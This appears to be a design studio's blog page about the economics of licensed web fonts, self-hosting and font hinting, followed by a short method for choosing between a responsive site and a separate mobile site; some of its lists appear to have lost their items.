Why things are the way there are is because font providers found a way to make money off their fonts again. They use the subscription mechanism and the remote request as a way to keep control and to basically keep you paying for your fonts. There is a lot of font piracy so this makes sense – however, I find that they are also effectively breaking the web by adding external dependencies to websites.
These font services can be relatively cheap if you have a small website; but you pay more if you get more pageviews. This is a monthly or yearly cost.
Serving fonts from your own server is much better if you don’t want to slow down things.
Some providers allow self-embedding of fonts but only when you pay for the more expensive plans.
At the time of writing:
You can see might be a bit of a budget problem here for some businesses.
(It gets worse when you’re dealing with font licenses for native apps – €1000/weight for a perpetual license is not unheard of)
Now, some people will suggest using free fonts. There is Google Web Fonts; there are various free fonts. However, these fonts are often not properly hinted.
There are some exceptions but they are rare and over-used.
What does that mean, “hinted”? Font hinting is the act of adding metadata to a font to “hint” it how it should display at various sizes. A hinted font lines up with the pixels on a computer screen; an unhinted font looks like a blurry mess.
This is why people often recommend only using custom fonts for headings: since headings are typically bigger than paragraph text, hinting gets less important.
What I want for most of my designs:
This usually means a monetary investment but you get something in return:
Obviously, I think you should invest in great typography. As a design studio, we can help you to make the right choices.
Handy tool/methodology to decide if you should make a responsive site, or build a separate mdot-site.
- Review the tasks that users want to perform on Device A. List them in priority order.
- Repeat for Device B.
- Put the two lists next to each other, and draw lines connecting identical tasks.
Depending on the steepness of the lines you can make your decision
Implementing responsiveness does not make a web site boring, bad designers make boring sites
— Mark Boulton at Responsive Day Out 2013
Related: Responsive Web Design is Boring!